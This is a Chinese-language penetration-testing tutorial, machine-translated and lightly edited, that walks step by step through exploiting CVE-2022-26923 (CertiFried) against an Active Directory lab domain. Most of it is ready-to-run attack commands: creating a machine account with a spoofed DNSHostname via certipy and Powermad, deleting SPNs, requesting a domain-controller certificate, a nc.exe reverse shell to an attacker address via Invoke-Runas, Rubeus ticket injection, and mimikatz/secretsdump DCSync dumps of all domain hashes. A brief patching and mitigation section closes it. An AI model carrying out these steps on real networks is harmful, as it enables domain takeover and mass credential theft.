本文通过 Google 翻译 Domain Privilege Escalation -- CVE-2022-26923: CertiFried 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 漏洞 CVE-2022-26923 简介](#1 漏洞 CVE-2022-26923 简介)
- [2 远程枚举必要条件](#2 远程枚举必要条件)
- [2.1 枚举证书颁发机构和 DNSHostname](#2.1 枚举证书颁发机构和 DNSHostname)
- [2.1.1 nmap](#2.1.1 nmap)
- [2.1.2 ldapsearch](#2.1.2 ldapsearch)
- [2.1.3 certipy](#2.1.3 certipy)
- [2.2 枚举 ms-DS-MachineAccountQuota](#2.2 枚举 ms-DS-MachineAccountQuota)
- [2.2.1 ldapsearch](#2.2.1 ldapsearch)
- [2.2.2 bloodyAD.py](#2.2.2 bloodyAD.py)
- [2.1 枚举证书颁发机构和 DNSHostname](#2.1 枚举证书颁发机构和 DNSHostname)
- [3 远程利用 CVE-2022-26923](#3 远程利用 CVE-2022-26923)
- [3.1 新建特殊机器帐户](#3.1 新建特殊机器帐户)
- [3.2 申请证书](#3.2 申请证书)
- [3.3 申请 TGT 票据并检索 DC 机器帐户的哈希](#3.3 申请 TGT 票据并检索 DC 机器帐户的哈希)
- [3.4 利用哈希传递转储 DC 所有账户的哈希](#3.4 利用哈希传递转储 DC 所有账户的哈希)
- [4 本地枚举必要条件](#4 本地枚举必要条件)
- [4.1 枚举 DNSHostname:nslookup](#4.1 枚举 DNSHostname:nslookup)
- [4.2 枚举 DNSHostname:PowerShell](#4.2 枚举 DNSHostname:PowerShell)
- [4.3 枚举证书颁发机构:certutil](#4.3 枚举证书颁发机构:certutil)
- [4.4 枚举证书颁发机构:PowerView.ps1](#4.4 枚举证书颁发机构:PowerView.ps1)
- [4.5 枚举 ms-DS-MachineAccountQuota:PowerView.ps1](#4.5 枚举 ms-DS-MachineAccountQuota:PowerView.ps1)
- [5 本地利用 CVE-2022-26923](#5 本地利用 CVE-2022-26923)
- [5.1 新建机器帐户并篡改 DNSHostname 属性](#5.1 新建机器帐户并篡改 DNSHostname 属性)
- [5.2 申请证书](#5.2 申请证书)
- [5.3 申请 TGT 票据](#5.3 申请 TGT 票据)
- [5.4 发起 DCSync 攻击](#5.4 发起 DCSync 攻击)
- [6 预防措施](#6 预防措施)
0、前言
在这篇文章中,我们将深入探讨一个破坏性极强的 CVE,该漏洞于 2022 年 5 月 10 日星期二公布并修复:CVE-2022-26923 -- CertiFried。为此,我们将学习各种远程和本地的攻击方法,以及一些用于利用此漏洞所需条件的枚举技巧。
注:本文会多次提到 计算机账户 和 机器账户,实际上这两个词语所指的都是同一个意思。
1、漏洞 CVE-2022-26923 简介
CVE-2022-26923 是一种 AD 域权限提升漏洞,允许普通用户在启用 Active Directory 证书服务(AD CS) 的域环境中将权限提升至域管理员。漏洞原因在于 AD CS 在为机器账户签发证书时(这是一种支持 Kerberos 证书认证的证书 ),不会验证证书请求中请求账户的 UPN (即机器账户属性 DNSHostname )是否属于请求者,而是直接认为账户的 UPN 就是请求者。这使得,如果攻击者伪造 UPN 字段为 域控机器账户,那 ADCS 便会为其签发一个域控机器账户的证书(相当于域管理员身份)。攻击者进而便可以使用该证书进行 Kerberos 证书认证,从而直接获得一个类似管理员身份的 TGT 票据。
要利用此方法进行恶意攻击,攻击者只需找到域中任意一个标准用户的凭据即可。这样,他们就可以以标准用户的身份创建一个机器账户 A,然后篡改该机器账户 A 的属性 DNSHostname 为 DC 的机器账户 。一旦篡改完成,攻击者便可以以机器账户 A 的身份请求到 DC 的机器账户的证书,进而凭借证书获取到获得 DC 的 TGT 以及 DC 的 NTLM 哈希,最后便可以使用 DC 的哈希转储整个域中的所有哈希值。
注:(1)上面所说的 DC 的机器账户 是类似于
DC2012$.domain.local
这样的格式,它们的权限相当于本地管理员或 SYSTEM。(2)每一个域用户都可以在域中新建一定数量的机器账户(默认一般是 10 个)。该功能似乎是历史遗留的特性,放在如今并没有什么实际用途,反而容易受到攻击利用。
(3)Kerberos 身份认证的方式:密码认证 、证书认证、FAST、Keytab、TGT 缓存。
若想深入了解这次的攻击,还可参考这篇 文章。
2、远程枚举必要条件
在本示例中,假设我们已经拥有了一组有效的凭证(efrost 用户)。
此外,我们还需要从 DC 中确认另外三条信息,分别是:DNSHostname、证书颁发机构、ms-DS-MachineAccountQuota。而这些信息我们可以使用一些不同的工具和技术通过远程或本地的方式向 DC 查询。
2.1、枚举证书颁发机构和 DNSHostname
可以使用以下这些工具来远程枚举 DC 上的证书颁发者:nmap、ldapsearch、Certipy!
DNSHostname 一般就是 主机名 + 域名 的组合。例如,我实验室的 DC 的主机名为 Juggernaut-DC,域名为 Juggernaut.local,这意味着 DNSHostname 将是:Juggernaut-DC.Juggernaut.local。
2.1.1、nmap
可以使用 nmap 查询一些不同的服务(例如 RDP、LDAPS、MS-SQL)来提取目标计算机的证书颁发机构和 DNSHostname。
bash
nmap -A 172.16.1.5 -p 389,3268,1433,3389 --script=ssl-cert

可以看到,DNSHostname 是 Juggernaut-DC.Juggernaut.local 。同时,此搜索还显示了证书颁发机构是:Juggernaut-Juggernaut-DC-CA。
2.1.2、ldapsearch
可以使用 ldapsearch 通过 LDAP [S] 查询证书颁发机构,具体是通过 LDAP 还是 LDAPS 这取决于域的设置方式:
若通过 LDAPS ,请使用以下命令:
bash
LDAPTLS_REQCERT=never ldapsearch -v -x -H 'ldaps://172.16.1.5' -D [email protected] -w Coldheart1234 -b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=juggernaut,DC=local" | grep 'cn'

若通过 LDAP,请使用以下命令:
bash
ldapsearch -v -x -H 'ldap://172.16.1.5' -D [email protected] -w Coldheart1234 -b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=juggernaut,DC=local" | grep 'cn'
注:通常 LDAPS 不一定会被启用,但 LDAP 一定会启用。
2.1.3、certipy
而对于利用 CVE-2022-26923 漏洞,Certipy 是完成整个攻击过程的最佳工具。这是因为 Certipy 的开发者也是该 CVE 的提出者,所以它是此攻击的最佳工具也就不足为奇了。
要使用 Certipy 提取证书颁发机构,请使用以下命令:
bash
certipy find juggernaut.local/efrost:[email protected]
#新版 certipy 用法如下:
#certipy-ad find -dc-ip 172.16.1.5 -target-ip 172.16.1.5 -u [email protected] -p Coldheart1234

除了提取到证书颁发机构之外,Certipy 还提取出了 CA 配置信息,可以使用 Bloodhound 查看。
2.2、枚举 ms-DS-MachineAccountQuota
我们可以通过多种不同的方式远程枚举 ms-DS-MachineAccountQuota,但在本例中,仅使用 ldapsearch、bloodyAD.py 进行演示。
默认情况下,ms-DS-MachineAccountQuota 的值是 10,这意味着任何用户都可以在 DC 上创建最多 10 个计算机帐户。因此,只要 ms-DS-MachineAccountQuota 的数字大于 0,我们就具备了进行此攻击的条件。
2.2.1、ldapsearch
与使用 LDAP [S] 枚举证书颁发机构类似,它也可以用来枚举 ms-DS-MachineAccountQuota。
若通过 LDAPS ,请使用以下命令:
bash
LDAPTLS_REQCERT=never ldapsearch -v -x -H 'ldaps://172.16.1.5' -D [email protected] -w Coldheart1234 -b "DC=juggernaut,DC=local" "(ms-DS-MachineAccountQuota=*)" ms-DS-MachineAccountQuota | grep 'ms-DS-MachineAccountQuota:'

若通过 LDAP ,请使用以下命令:
bash
ldapsearch -v -x -H 'ldap://172.16.1.5' -D [email protected] -w Coldheart1234 -b "DC=juggernaut,DC=local" "(ms-DS-MachineAccountQuota=*)" ms-DS-MachineAccountQuota | grep 'ms-DS-MachineAccountQuota:'
同样,您也可以使用 crackmapexec/nxc 找到此信息。【命令:
nxc ldap 172.16.1.5 -u 'efrost' -p 'Coldheart1234' -d juggernaut.local --query "(ms-DS-MachineAccountQuota=*)" 'ms-DS-MachineAccountQuota'
】
2.2.2、bloodyAD.py
bloodyAD.py 也是一款非常实用的工具,可用于远程查询并与域控制器交互。它提取 ms-DS-MachineAccountQuota 的用法如下:
bash
python3 bloodyAD.py -d juggernaut.local -u efrost -p 'Coldheart1234' --host 172.16.1.5 getObjectAttributes 'DC=juggernaut,DC=local' Ms-Ds-MachineAccountQuota

3、远程利用 CVE-2022-26923
现在,我们已经收集到了这次攻击所需的所有信息。接下来,就让我们看看如何使用 Certipy 来利用这些信息:
- DNSHostname: Juggernaut-DC.Juggernaut.local
- 证书颁发机构: Juggernaut-JUGGERNAUT-DC-CA
- ms-DS-MachineAccountQuota: 10
为了完整地执行此漏洞利用,我们需要做以下事情:
- 在 DC 上创建一个新的计算机帐户(或机器账户)。
- 通过将我们创建的新计算机帐户的 DNSHostname 设置为与 DC 相同的 DNSHostname 来欺骗实际的 DC 计算机帐户。
- 为我们创建的"DC"计算机帐户申请新的证书。
- 使用申请到的证书发起 基于证书的 Kerberos 身份验证,以获取 TGT 票据并使用它来检索帐户的 NT 哈希。
最终,我们将获得 DC 计算机帐户(DC 机器账户)的哈希值和 TGT 票据。然后,就可以使用该哈希值进行哈希传递(或使用 TGT 票据进行 票据传递),从而执行 DCSync 攻击转储域中所有用户的哈希值。
3.1、新建特殊机器帐户
可以通过一条 Certipy 命令同时创建一个新的计算机帐户并设置 DNSHostname 欺骗属性,命令如下:
bash
certipy account create juggernaut.local/efrost:[email protected] -user 'CVE-2022-26923' -dns Juggernaut-DC.juggernaut.local
#新版 certipy 用法如下:
#certipy-ad account -target-ip 172.16.1.5 -u [email protected] -p Coldheart1234 -user 'CVE-2022-26923' -dns Juggernaut-DC.juggernaut.local

可以看到,帐户"CVE-2022-26923"已成功创建,密码为"xvw4DUWKOA8gr6dZ"。最重要的是,我们看到 DNSHostname 也已被成功设置。
3.2、申请证书
通过 Certipy 来请求被欺骗的 DC 机器账户的证书,命令如下:
bash
certipy req -dc-ip 172.16.1.5 juggernaut.local/'CVE-2022-26923$':[email protected] -ca juggernaut-Juggernaut-DC-CA -template machine
#新版 certipy 用法如下:
certipy-ad req -dc-ip 172.16.1.5 -target-ip 172.16.1.5 -u 'CVE-2022-26923$'@juggernaut.local -p xvw4DUWKOA8gr6dZ -ca juggernaut-Juggernaut-DC-CA -template machine

注:此命令一次执行不成功的话,可以等几秒钟再次去执行。或通过添加 -debug 选项查看不成功的原因。
现在,证书已被保存到 PFX 文件中。接下来,我们就可以使用它来验证并获取 DC 计算机帐户的 TGT 票据和哈希值了。
PFX 文件采用 PKCS#12 格式,其中包含 SSL 证书(公钥)和相应的私钥。
3.3、申请 TGT 票据并检索 DC 机器帐户的哈希
最后一步便是通过 Certipy 使用获得的证书发起一次 Kerberos 证书认证,以获得 DC 机器账户的 TGT 票据和 NTLM 哈希,命令如下:
bash
certipy auth -pfx juggernaut-dc.pfx -ns 172.16.1.5
#新版 certipy 用法如下:
certipy-ad auth -pfx juggernaut-dc.pfx 172.16.1.5

可以看到,我们不仅获得了 TGT 票据,还获得了 NTLM 哈希值。
3.4、利用哈希传递转储 DC 所有账户的哈希
现在,就可以使用它通过 secretsdump.py 执行 DCSync 攻击以转储域中所有哈希了。
bash
secretsdump.py juggernaut.local/'Juggernaut-DC$'@172.16.1.5 -hashes :b9220587417e53fc5294f2d705d9a20b -dc-ip 172.16.1.5

可以看到,我们在使用证书进行 kerberos 证书认证过程中获得的哈希其实就是实际的 DC 计算机帐户的哈希,而不是我们创建的那个新的计算机帐户的哈希。
4、本地枚举必要条件
在本例中,假设我们在初始枚举的过程中并没有发现用户 efrost 的凭据,只是凭借利用一个 Web 应用漏洞而获得了一个 efrost 身份的立足点。由于我们并不知道该用户的密码,因此无法远程枚举利用此漏洞,从而只能在本地进行枚举和利用的过程。

接下来,我们开始枚举此次攻击所需的必要信息。
注:(1)DNSHostname 其实就是一个 DNS 格式的主机名称而已,使用 主机名称 + 域名 的组合便能获得。
(2)证书颁发机构的名称无规律可循,因此不能像上面那样组合获得。此外,一个 DC 上并非只会出现一个证书颁发机构(通常只有一个证书颁发机构),因此,甄别哪个在用很重要。
(3)ms-DS-MachineAccountQuota 的默认值为 10,适用于所有支持 Active Directory 的 Windows Server 版本,直到目前最新的 Windows Server 2022。
4.1、枚举 DNSHostname:nslookup
可使用 nslookup 命令查询,命令如下:
cmd
nslookup
set type=all
_ldap._tcp.dc._msdcs.juggernaut.local

4.2、枚举 DNSHostname:PowerShell
亦或通过 powershell 命令查询,命令如下:
powershell
[System.Net.Dns]::GetHostByName('Juggernaut-DC').HostName

4.3、枚举证书颁发机构:certutil
certutil 是一个证书管理器,它的主要用途就是管理和证书相关的一切事务。此外,它还可以作为一个 http [s] 下载器使用,例如:certutil.exe -urlcache -f https://www.example.org/file.exe file.exe
。
powershell
certutil

运行 certutil 时,如果不附加任何参数,它默认会以"-dump"命令运行,并提供上述信息。由此我们可以提取 CA 的名称,同时还可以看到 DC 的 DNSHostname 也显示在了此处。
4.4、枚举证书颁发机构:PowerView.ps1
可以利用 PowerView.ps1 来枚举证书颁发机构并提取所需的信息。
powershell
. .\PowerView.ps1
Get-DomainObject -SearchBase "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=juggernaut,DC=local" | select name

4.5、枚举 ms-DS-MachineAccountQuota:PowerView.ps1
也可以使用 PowerView 查找域中的 ms-DS-MachineAccountQuota 的值。
powershell
Get-DomainObject -Identity ((Get-Domain).distinguishedname) | select ms-DS-MachineAccountQuota

5、本地利用 CVE-2022-26923
在本地利用 CVE-2022-26923 时,我们需要比在远程通过 Certipy 利用要多做一些操作。
首先,使用 Powermad.ps1 创建计算机帐户和设置欺骗的 DNSHostname 属性;接着,使用 certify.exe 为我们的计算机帐户申请新的证书;但由于 rubeus.exe 只接受 PFX 类型的证书,所以还需要使用 openssl 将该证书进行转换;之后,使用 rubeus.exe 申请一个 拥有 DC 计算机帐户身份 的 TGT 票据,同时提取该 DC 计算机帐户 的 NTLM 哈希;最后,使用 mimikatz.exe 执行 DCSync 攻击来获取域管理员的 NTLM 哈希。
5.1、新建机器帐户并篡改 DNSHostname 属性
首先,下载 Powermad.ps1 并将其传输到受害机,然后使用以下命令来创建新的计算机帐户:
powershell
. .\Powermad.ps1
$machine_account_password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
New-MachineAccount -MachineAccount juggernaut -Password $machine_account_password

在添加了计算机帐户之后,可以使用以下命令查询它当前的 DNSHostname 属性:
powershell
Get-MachineAccountAttribute -MachineAccount juggernaut -Attribute DnsHostName

为了篡改新建账户的 DNSHostname 属性,我们可以使用以下命令:
powershell
Set-MachineAccountAttribute -MachineAccount juggernaut -Attribute DnsHostName -Value "Juggernaut-DC.juggernaut.local"

结果失败了!!这是由于,即使我们创建了新的计算机账户,也不能随意编辑 DnsHostName,因为该属性的权限为 "已验证可写入 DNS 主机名"。这意味着任何修改尝试都会与 ServicePrincipalName (SPN) 属性进行核对,以防止这两个属性之间出现任何不匹配。
当然,这只是一个小障碍,而我们仍可以通过删除我们创建的计算机帐户的 FQDN 注册的 SPN 来绕过它。
使用 setspn 命令,我们可以查询创建帐户时自动生成的 SPN:
cmd
setspn -T juggernaut.local -F -Q */*

可以看到,新建的计算机帐户对应着四个 SPN。而我们需要从这四个 SPN 中删除以域名(juggernaut.local)结尾的 SPN。幸运的是,我们仍可以使用 setspn 命令来执行此操作:
cmd
setspn -d HOST/juggernaut.juggernaut.local juggernaut
setspn -d RestrictedKrbHost/juggernaut.juggernaut.local juggernaut

现在 SPN 已被删除,让我们再次使用之前的命令篡改 DNSHostname 属性,看看这次能否成功。

命令执行虽提示成功,但还需要进一步确认。
powershell
Get-MachineAccountAttribute -MachineAccount juggernaut -Attribute DnsHostName

Perfect!现在我们已经成功篡改了新计算机账户的 DNSHostname 属性,接下来就可以使用 certify.exe 来申请证书了。
5.2、申请证书
为了使用 Certify 为计算机账户 juggernaut$
申请证书,我们需要处在计算机帐户 juggernaut$
的上下文 shell 中通过 Certify 发出请求才行。此时,我们会遇到了如下一些问题:
- 问题一:计算机账户没有执行交互式登录的权限,也就是说不能像普通用户那样通过 runas 进行登录。
- 问题二:当前的环境是纯反向 shell,没有 GUI 交互界面。也就意味着无法使用 runas。
runas 携带 /netonly
选项倒是可以间接解决上面的问题一,但由于需要交互式输入密码因此不满足问题二。
注:
runas /netonly
功能示例说明。假设你当前使用的是本地用户
LOCAL-PC\Alice
登录,但你要访问公司域资源,需要域用户CORP\Bob
的权限,可以这样运行:runas /netonly /user:CORP\Bob "cmd.exe"
。这样得到的 cmd shell,在本地依然是 Alice 的身份,但是在访问网络共享\\fileserver\share
时,会使用CORP\Bob
的身份。
Invoke-Runas.ps1 是一个 powershell 的脚本,它不仅允许我们在执行 runas 命令时指定登录类型,同时还不需要交互式登录,完美的解决了上面遇到的两个问题。而这也正是我们要找的工具,接下来我们便要好好的使用它了。
注:runascs.exe 也支持指定登录类型,也能解决问题一二。
下载 Invoke-Runas.ps1 和 nc.exe 的副本并将其传输到受害者机器,然后利用该脚本以 juggernaut$
机器帐户的身份为我们提供一个反向 shell ,然后在该 shell 的环境下来请求我们的证书,命令如下:
powershell
. .\Invoke-Runas.ps1
Invoke-Runas -User "juggernaut$" -Password "P@ssw0rd" -Domain "juggernaut.local" -Binary "C:\temp\nc.exe" -Args " 172.16.1.30 443 -e cmd.exe" -LogonType "0x2"

请注意,设置 -Args 时,第一个双引号后必须要有一个空格。否则,命令将不起作用。
命令执行之后,回到 nc 监听器,可以看到我们得到了一个 shell,efrost ??

虽然获得的 shell 身份似乎和之前没什么两样,但千万别被骗了,这是意料之中的事。如果你了解网络登录的作用,你就会知道网络登录不会加载用户的配置文件。
此外,在查看脚本时,我们可以看到这里说该进程具有与调用者相同的令牌,但是使用 LSA 创建了一个新的登录会话。

好了!这意味着我们应该可以申请新证书,因为我们现在是 "高级用户",是可以申请证书的正确用户。
如果您阅读了申请票据的认证页面,就会发现此步骤是需要提升权限的。但是,我们的计算机帐户严格来说就是一个提升权限的帐户,因为它正在伪造 DC 计算机帐户。
在新的 shell 中,我们可以使用以下 cerfity.exe 命令来请求证书:
cmd
C:\temp\Certify.exe request /ca:Juggernaut-DC.Juggernaut.local\Juggernaut-JUGGERNAUT-DC-CA /template:Machine

可以看到,我们成功申请到了证书,只不过还需要将其复制粘贴到一个 cert.pem 文件中。然后,使用 openssl 将证书转换为 PFX 格式,并将其与 rubeus.exe 一起发送回受害者。
需要复制的证书内容:从 BEGIN RSA PRIVATE KEY 开始,到 END CERTIFICATE 结束。当然也包括这两行本身,如果在复制粘贴的过程中在每一行的末尾出现了多余的空格,那么这些空格也需要处理掉才行。
将证书从 PEM 格式转换为 PFX 格式的 openssl 命令如下:
bash
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

5.3、申请 TGT 票据
在将 PFX 文件、Rubeus.exe 和 mimikatz.exe 一起发送到受害机之后,我们就可以开始使用我们创建的计算机帐户进行恶意攻击了。

使用以下 Rubeus.exe 命令,我们就能够请求到实际 DC 计算机帐户的 TGT 票证,进而获取到 DC 机器账户的 NTLM 哈希值:
cmd
.\Rubeus.exe asktgt /user:Juggernaut-DC$ /certificate:C:\Temp\cert.pfx /outfile:dc.kirbi /getcredentials


得到 TGT 票据之后,我们可以再次使用 Rubeus.exe 将票证注入当前会话,这将允许我们使用 mimikatz.exe 执行 DCSync 攻击。
要将票证注入当前会话,可使用以下命令:
cmd
.\Rubeus.exe ptt /ticket:dc.kirbi

或者,我们也可以利用提取到的 DC 计算机帐户的 NTLM 哈希值,在攻击者机上利用 secretsdump.py 执行哈希传递转储域用户哈希。
5.4、发起 DCSync 攻击
在将 DC 计算机帐户的票证注入当前会话后,此刻,我们的权限已提升到该帐户的上下文,这意味着我们可以向域控发起 DCSync 攻击,进而提取到域管理员(DA)的哈希,命令如下:
cmd
lsadump::dcsync /domain:juggernaut.local /user:administrator

可以看到,我们成功拿到了 DA 的哈希值。接下来,就可以发起金票攻击,或者冒充域管理员,然后通过票证传递攻击进一步攻陷 DC。实际上,我们现在的选择无穷无尽。
6、预防措施
既然这是一个 CVE,那就有必要概述一下如何预防这种攻击。
- 安装针对该漏洞的补丁。
- 关闭域用户可以添加机器帐户的功能,即设置 ms-DS-MachineAccountQuota 的值为 0。
- 如果您的环境中不使用 AD CS,请将其关闭。